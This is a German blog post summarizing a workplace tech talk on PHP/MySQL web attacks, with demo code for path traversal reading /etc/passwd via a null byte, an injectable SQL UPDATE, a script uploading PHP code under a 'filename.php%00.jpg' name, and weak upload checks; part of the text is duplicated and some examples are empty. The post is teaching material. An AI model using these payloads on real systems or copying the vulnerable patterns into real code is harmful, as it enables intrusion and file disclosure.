Auf meiner Arbeit halten wir regelmäßig Tech Talks zu Themen die uns interessieren. Das Thema meiner Wahl fiel auf Webhacking mit PHP + MySQL.
Die Präsentation findet ihr hier: slideshare.net/d0nut/webhacks-am-beispiel-php-mysql
[slideshare]http://www.slideshare.net/d0nut/webhacks-am-beispiel-php-mysql[/slideshare]
Die Themen waren:
Paris Hilton Bug
Hier geht es um die Dummheit der Benutzer. Angefangen vom dummen User über ein CMS mit schlecht kommunizierten Benutzerrechten, bis hin zum Payment Anbieter der wichtige Felder vom Hashen ausnimmt.
XSS
Falls dem Benutzer ermöglicht wird an irgendeiner Stelle der Domain HTML Code einzuschleusen ist der Weg für Cross Site Scripting geebnet.
Damit können Cookies ausgelesen und damit fremde Identitäten übernommen werden.
SQL Injections
Mit SQL Injections lassen sich Daten manipulieren oder in Erfahrung bringen.
Session Stealing
Wird die Session nach Login/Registrierung nicht erneuert kann ein Angreifer dem Opfer seine Session unterjubeln.
File Inclusion
Ein Dateiupload ist ein potentielles Sicherheitsrisiko, wenn man die Dateien nicht aufs Genauste prüft.
Technikausblick
Andere Techniken wie Phising und E-Mail Manipulation erklärt.
Literatur zum weiter arbeiten.
Beispielcodes
Zugriffsschutz auf ein Bild ausgehebelt.
Alles anzeigen
Newsletter abbestellen für alle
Alles anzeigen
Produktkatalog mit Zugangsdaten
So einfach geht Cross Site Scripting
search.php
Alles anzeigen
searchhack.php
So verschicke ich manipulierte Upload Dateien
Alles anzeigen
und so werden sie oft empfangen:
Alles anzeigen
Man sollte seine Cookies niemals disablen, sonst werden sie per $_GET übertragen
Alles anzeigen
Die Präsentation findet ihr hier: slideshare.net/d0nut/webhacks-am-beispiel-php-mysql
[slideshare]http://www.slideshare.net/d0nut/webhacks-am-beispiel-php-mysql[/slideshare]
Die Themen waren:
Paris Hilton Bug
Hier geht es um die Dummheit der Benutzer. Angefangen vom dummen User über ein CMS mit schlecht kommunizierten Benutzerrechten, bis hin zum Payment Anbieter der wichtige Felder vom Hashen ausnimmt.
XSS
Falls dem Benutzer ermöglicht wird an irgendeiner Stelle der Domain HTML Code einzuschleusen ist der Weg für Cross Site Scripting geebnet.
Damit können Cookies ausgelesen und damit fremde Identitäten übernommen werden.
SQL Injections
Mit SQL Injections lassen sich Daten manipulieren oder in Erfahrung bringen.
Session Stealing
Wird die Session nach Login/Registrierung nicht erneuert kann ein Angreifer dem Opfer seine Session unterjubeln.
File Inclusion
Ein Dateiupload ist ein potentielles Sicherheitsrisiko, wenn man die Dateien nicht aufs Genauste prüft.
Technikausblick
Andere Techniken wie Phising und E-Mail Manipulation erklärt.
Literatur zum weiter arbeiten.
Beispielcodes
Zugriffsschutz auf ein Bild ausgehebelt.
Quellcode
- <?php
- header('Content-Type: image/png');
- $watch_permission = true;
- if($watch_permission) {
- include 'connect.php';
- $res = mysql_query('SELECT image_path FROM user WHERE id = 1');
- $row = mysql_fetch_array($res);
- $row['image_path'] = "icq"; // Original Daten (1)
- $row['image_path'] = "../../../../../../../../etc/passwd\0"; // manipulierte Daten (2)
- echo file_get_contents('images/'.$row['image_path'].'.jpg');
- } else {
- echo file_get_contents('no-permissions.png');
- }
- ?>
Newsletter abbestellen für alle
Quellcode
- <html><body>
- <?php
- if(count($_REQUEST)) {
- include 'connect.php';
- mysql_query('UPDATE user SET newsletter = '.$_REQUEST['news'].' WHERE userid = 10');
- }
- ?>
- <form method="post">
- <select name="news">
- <option value="0">bestellen</option>
- <option value="1">abbestellen</option>
- </select>
- <input type="submit"/>
- </form>
- </body></html>
Produktkatalog mit Zugangsdaten
So einfach geht Cross Site Scripting
search.php
Quellcode
searchhack.php
So verschicke ich manipulierte Upload Dateien
Quellcode
- <?php
- function PostToHost($host, $port, $path, $postdata, $filedata) {
- $data = "";
- $boundary = "---------------------".substr(md5(rand(0,32000)),0,10);
- $fp = fsockopen($host, $port);
- fputs($fp, "POST $path HTTP/1.0\n");
- fputs($fp, "Host: $host\n");
- fputs($fp, "Content-type: multipart/form-data; boundary=".$boundary."\n");
- // Ab dieser Stelle sammeln wir erstmal alle Daten in einem String
- // Sammeln der POST Daten
- foreach($postdata as $key => $val){
- $data .= "--$boundary\n";
- $data .= "Content-Disposition: form-data; name=\"".$key."\"\n\n".$val."\n";
- }
- $data .= "--$boundary\n";
- // Sammeln der FILE Daten
- $data .= "Content-Disposition: form-data; name=\"{$filedata[0]}\"; filename=\"{$filedata[1]}\"\n";
- $data .= "Content-Type: image/jpeg\n";
- $data .= "Content-Transfer-Encoding: binary\n\n";
- $data .= $filedata[2]."\n";
- $data .= "--$boundary--\n";
- // Senden aller Informationen
- fputs($fp, "Content-length: ".strlen($data)."\n\n");
- fputs($fp, $data);
- // Auslesen der Antwort
- while(!feof($fp)) {
- $res .= fread($fp, 1);
- }
- fclose($fp);
- return $res;
- }
- echo PostToHost ("localhost", 80, "/plista/hacking/examples/upload.php",
- array('var1'=>'test'), array('img', "filename.php%00.jpg", '<?php die("fremdcode"); ?>'));
- ?>
und so werden sie oft empfangen:
Quellcode
- <html><body>
- <?php
- if(count($_REQUEST)) {
- umask(0777);
- if(preg_match('/\.(png|gif|jpg)$/', $_FILES['img']['name'])) {
- move_uploaded_file($_FILES['img']['tmp_name'], 'upload/'.$_FILES['img']['name']);
- echo "upload success";
- } else {
- echo "wrong type";
- }
- }
- ?>
- <form method="post" enctype="multipart/form-data">
- <input type="file" name="img" />
- <input type="submit" name="submit" value="Datei Upload" />
- </form>
- </body></html>
Man sollte seine Cookies niemals disablen, sonst werden sie per $_GET übertragen
Quellcode
- <?php
- //beispiel macht nur mit deaktivierten cookie sinn
- session_start();
- $_SESSION['user'] = md5(rand(1,99));
- if(isset($_SERVER['HTTP_REFERER'])) printf("referer: %s", $_SERVER['HTTP_REFERER']);
- ?>
- <html><body>
- <ol>
- <li><a href="sessionreferer.php?<?=SID?>">sessionreferer.php</a></li>
- </ol>
- </body></html>